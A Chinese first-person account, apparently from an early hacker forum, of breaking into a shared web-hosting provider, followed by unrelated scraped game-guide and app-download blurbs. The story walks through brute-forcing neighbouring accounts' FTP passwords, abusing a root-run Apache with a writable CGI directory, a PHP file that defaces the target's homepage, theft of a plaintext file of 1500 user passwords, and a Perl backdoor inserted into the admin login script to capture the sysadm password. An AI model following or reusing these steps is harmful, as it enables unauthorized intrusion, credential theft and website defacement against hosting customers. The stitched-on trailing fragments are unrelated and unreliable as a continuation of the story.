由一次入侵实例看虚拟主机系统的安全问题(上)

其实早就有写这个文章的想法,一直没有写的原因是因为恐怕这无形为一些乐于此道的人提供了一种方法,但想想说了也许就能多少对一些IDC们起一定的压力,加强一些安全方面的措施,不然的话苦的是那些广大的虚拟主机用户,哪天被黑了,都傻傻的不知道怎么回事,当然,在我写出这个来的时候,我也是已经确定我所提及的大部分问题都已得到解决,下列所述的IP、域名、用户名、密码、路径、文件名等等都已被我更换,不是实际的,而且是合并了2个以上服务商的问题,凑成一起说,各位看官无需将我所述影射到国内的任何一个虚拟主机服务商身上。 事情发生在半年以前,那时候20CN还没有成立,因为某些原因,我想要干掉一个网站,(没错,确实就是这样,别把俺想得太高尚),首先当然是找个扫描器扫一下端口,发现这是一部很标准的UNIX主机,开着telnet,ftp,smtp,pop等,开着这么多的端口,似乎很好搞,当时这么想,谁知道仔细一看,各个服务程序的版本都没有什么中级以上漏洞,不仅没有远程的溢出,连本地的都似乎没有,只好试试看有没有CGI方面的漏洞,一扫下来,也是几乎没有什么可以利用的,就在他网站上四处看看,发现有个一会员注册的程序,为了得到目标的进一步资料,我就注册一下了,结果收到一份邮件,发现发件人为 ab1234@abc.com,但这个网站的域名确是def.com,奇怪,照这个看来,这个好像是虚拟主机,在IE上打入 IP202.96.100.10看看,结果出来的是XXX公司xxx虚拟主机什么什么#*#%@!%^&#*#@乱七八遭一广告,没错了,这是个虚拟主机。而他在这个主机上的用户名是ab1234,得到了用户名,首先进行ftp的简单穷举,没用,看来密码还是设得比较好,既然你的破不了,那么破了别人的和你的距离也就再接近了一点了,所以看看别人的如何,于是从用户 ab1200--ab1300一个一个来,很快,ab1210的密码出来了很简单的8888,我理所当然的用user:ab1210 pass:8888 telnet 了进去,但我要干掉的是ab1234的而不是ab1210的,所以就去ab1234的目录 %cd \ %cd home %ls 一堆用户目录 %cd ab1234 :Permission denied 没错,这正常,进不了其他用户的目录,但是没关系,既然进来了,干掉他的机会就有80%了,现在先到处看看再说,结果发现了这部主机运行了3个独立的apache,一个在80端口、一个在91端口、还有一个在92,80的不用说,但91、92这些又是干什么的呢?看看再说,在IE上输入http://202.96.100.10:91/ 出来要一个身份验证的对话框,好,那就输入刚刚的ab1210 ,8888,进去了原来这是个用户管理界面,可以在这里设置邮件,改密码什么的,既然用web可以做这些事,那这个apache似乎不可能是nobody身份运行了,找到他的httpd.conf一看,天~~~~~~,user root ,这就意味着,如果这个apache 的cgi-bin目录下的任何一个文件对其他人可写,我就可以是root,只不过不是控制台上的root而已,我必须修改那个可写的文件的内容,让他变成是我的命令,然后通过浏览器用apache来运行他。于是 %cd /var/www/manager/cgi-bin %ls :Permission denied 呀呀,进得来却不能读 %cd .. %ls :Permission denied 混蛋 $cd .. %ls %htdocs cgi-bin backup manager 嘿嘿,backup,备份,一般来说,管理员备份的时候一般都为了省事没有设定权限,看看能不能进 %cd backup % 可以 %ls -la drwxr-xr-x 7 root wheel 512 Jul 20 07:02 . drwxr-xr-x 4 root wheel 512 Jul 3 01:49 .. ...... -rw-r--r-- 1 root wheel 25642628 Jul 3 01:49 manager_00_05_12.tar ...... 嘻嘻,看到没有,果然有manager目录的备份,还是644,可以下回去慢慢看看啦,先把他复制到ab1210的htdocs目录,这是ab1210这个用户的网站的根目录 %cp manager_00_05_12.tar /home/ab1210/htdocs/manager.tar %cd %cd htdocs 这个manager.tar超大,25M ,先压缩一下,然后打开IE下载,输入http://ab1210的域名/manager.tar.gz,下回本地慢慢看,半小时之后,终于弄清楚这个程序的原理,也知道了在那些目录下有哪些重要的文件,包括了在/home/sysadm下面似乎有个一用户的明文密码文件userpw,也知道了在这个apache的cgi-bin目录下有个一data的目录是任何人可写的,这样就好办啦 %cd /var/www/manager/cgi-bin/data %touch hacked.html %touch cp.php3 %vi hacked.html 开始骂的内容,就是没法输入中文,没办法,凑合 :wq % %vi cp.php3 <? copy("/var/www/manager/cgi-bin/data/hacked.html","/home/ab1234/htdocs/index.html"); ?> :wq % 接下来用IE打开 http://202.96.100.10:91/cgi-bin/data/cp.php3,出来一片空白,呵呵,那就是完成啦,再打开那个网站的主页看看,没错, 就这样把这网站给改掉了! 到此,干掉这个站的任务是完成了,不过我现在的兴趣却是要看看这个主机里面的一些敏感数据了,还用刚刚的方法,改变 cp.php3的内容,把所有要得文件写进去,全部复制到ab1210的htdocs目录打个包,用IE下载了回去,果然,刚刚说到的那个/home/sysadm下面有个明文的密码文件userpw确实就是这部主机上的所有用户的用户名和密码列表,这个似乎是用来做忘记密码是取回的文件,呵呵,包括了ab1234这个要干掉的站的密码也在内,一共1500个用户的密码在我手里了,通过对下载回来的manager目录里的程序和刚刚那些文件的分析,我对这个主机的结构已经相当清楚了,也发现了这个sysadm的用户似乎有很高的权限,而且它是wheel组的,有su root 的权力,好奇心促使我想要进一步的探索到他的整个机群。当然,我完全可以用刚才的方法写个脚本改变sysadm 或是 root的密码,然后随心所欲的干,但这样一来,明天我可能就进不来了,他们发现了root密码被改,肯定会查清楚问题所在了,现在需要得到的是sysadm的密码,这个密码在刚刚那个userpw中是没有的,我估计他们每一部主机的sysadm的密码应该是相同的,这样我可以得到其他的主机的控制权,但现在还没有明确的知道要怎么做,所以先来看看那个运行在92端口的apache是干什么的再说,同样用IE来看,http://202.96.100.10:92/,还是要输入密码,输入ab1210 ,8888 ,不行,用其他的用户进入,也不行,剩下的只有一些系统账号和sysadm这个了,再回到本地来看看第一次下载回来的那个manager.tar,他当中也包括了那个运行在92端口的程序,看看发现这个是他们内部用来管理用户的程序,管理员可以通过这个程序增加删除用户,设定用户的空间限制等等,这个程序的登陆限制比较严格,除了有apache目录保护之外,还有IP段限制,只允许一个特定的IP段登陆,还有就是只有在/etc/usercan这个文件中列入的用户名才可以登陆,密码就还是使用系统的密码,usercan这个文件我刚刚没有取回来,现在还是用刚才改主页的方法,把这个文件复制到ab1210的目录 %cat usercan sysadm 没错,就只有一个人可以登陆,就是sysadm,我现在需要的是sysadm的密码,当然,那个shadow过的密码文件我已经也取回了,不过我想这么重要的密码,应该不会简单的,穷举显然不是办法,所以,我修改了这个身份验证的程序index.cgi,增加了如下代码 open(FH,">>/etc/passwd.org"); print FH "$passwd \n"; close(FH); 这样,当管理员登录的时候,他的密码将被写到/etc/passwd.org这个文件当中,我只要等着他登陆就行了,改好之后,用ftp上传,还用刚刚的方法,不过这次是搬回去,覆盖掉系统上原来的index.cgi。 接下来,当然就是清除刚刚留下的各种痕迹,这个就不再废话了。第二天,继续用ab1210登录 %cat /etc/passwd.org cat: passwd.org: No such file or directory 看来到现在管理员还没有登陆过,只好继续等啦,到了晚上,再次登录,这下有了, %cat /etc/passwd.org D1C2B3A4 D1C2B3A4 % 这样,我得到了一个应该可登录到他们的每一部主机上的同属root组的用户sysadm,密码D1C2B3A4,我已经看过/etc/ttys,虽然在那个管理系统上sysadm不能从其他IP登录,但是操作系统本身并没有限制sysadm不能telnet。 接下来,就来看看他们多少部这样的主机,方法很简单,在202.96.100这个IP段扫出有91这个端口的就是了,一看有6部,随便找个试试看,成功了,可以进,证实了我的想法没错,sysadm可以登陆任何一部主机,而且密码是一样的,至此,这个IDC的所有UNIX虚拟主机的一共几千个客户的网站的生杀大权以掌握在我手里,只要我头脑一发热,一个简单的脚本就可以把所有的这些网站的主页改了,只要在那个管理程序中增加几个#,就可以把所有的用户删个一干二净,幸好我那段时间正好和网上一个MM打得火热,而生意也有点小钱赚,心情还算非常良好,不然可能就不会有20CN了,你也不会看到我这文章,因为要是当时把他们给改了或是删了,我今天名气应该比红客们大得多,但现在没准就是在监狱里呆着 好了,本次的入侵可以说是到一段落了,按照通常的入侵实例的写法,好像到了我要说我就给那管理员发份邮件,告知问题所在的时候了,但是你错了,我并没有这么做,为什么?下回分解
怪物猎人世界拔刀龙矢配装攻略。怪物猎人世界弓箭的主流打法就是拔刀龙矢和滑步,很多玩家不知道拔刀弓怎么配装,下面就一起来看看怪物猎人世界拔刀龙矢弓怎么配装吧,怪物猎人世界拔刀龙矢配装攻略 怪物猎人世界拔刀龙矢弓怎么配装
2018-09-17
九台123app下载-九台123app是一款生活服务应用,九台123帮助用户快速找工作、找房子、淘二手,一手掌握同城优惠信息和最新活动,打造精彩生活,您可以免费下载安卓手机九台123。
2020-03-26
钢铁战队成就击其要害怎么达成,钢铁战队是最近比较火的一款手机游戏,有很多新手玩家表示不知道成就击其要害怎么达成,所以小编今天给大家带来钢铁战队成就击其要害达成攻略,不知道玩的小伙伴快来看看吧!,钢铁战队成就击其要害怎么达成 成就击其要害达成攻略
2017-09-27
再来短视频app是一款短视频,平台拥有丰富的短视频内容,用户可以随时随地刷短视频看精彩世界,不仅如此,用户刷短视频还可以领红包赚零花钱,觉得不错的朋友欢迎前来下载使用。
2022-08-02
奔奔司机app-奔奔司机app是奔奔物流司机客户端,属于生活服务应用,由杭州行辙科技有限公司出品,具有物流查询、个人信息管理和接货等功能。此外奔奔物流是面向全国3000万货车司机,提供高效可靠的货源配对服务,一部手机搞定一切,您可以免费下载安卓手机奔奔司机。
2020-03-19
Fate/EXTELLA无限保存中怎么办?不少玩家朋友们进入游戏后会出现游戏一直保存中这个问题,导致无法正常的游戏,下面我们就来看一看Fate/EXTELLA无限保存中解决方法一览,希望对各位有所参考,Fate/EXTELLA无限保存中怎么办 无限保存中解决方法
2017-07-27
闲鱼app下载-闲鱼app淘宝二手这款应用提供了一个二手货物交易平台,你可以在闲鱼客户端这里出售你的二手货物,也能在这里找到你想要的一些宝贝,您可以免费下载安卓手机闲鱼。
2023-01-15
智燃界app下载-智燃界app是一款专利法手机题库学习软件。智燃界app提供近十年的专利法真题练习,还有相关法律法规学习,刷题练习更轻松高效,您可以免费下载安卓手机智燃界。
2021-08-26
无尽争霸精卫怎么样?无尽争霸精卫是新出的一位法师,精卫是游戏中机动性最高的英雄,那么在游戏中精卫到底怎么样呢?下面小编就为各位玩家带来无尽争霸精卫技能属性介绍,一起来看看吧~,无尽争霸精卫怎么样 无尽争霸精卫技能属性介绍
2016-12-20
泰拉瑞亚雪人匪徒掉什么?雪人匪徒是雪人军团事件中生成的怪物,会左右射击,你可以将其困在坑里打,也就是在上方打或者在下面打。到底泰拉瑞亚雪人匪徒掉什么?泰拉瑞亚雪人匪徒掉落一览。,泰拉瑞亚雪人匪徒掉什么 泰拉瑞亚雪人匪徒掉落一览
2017-10-09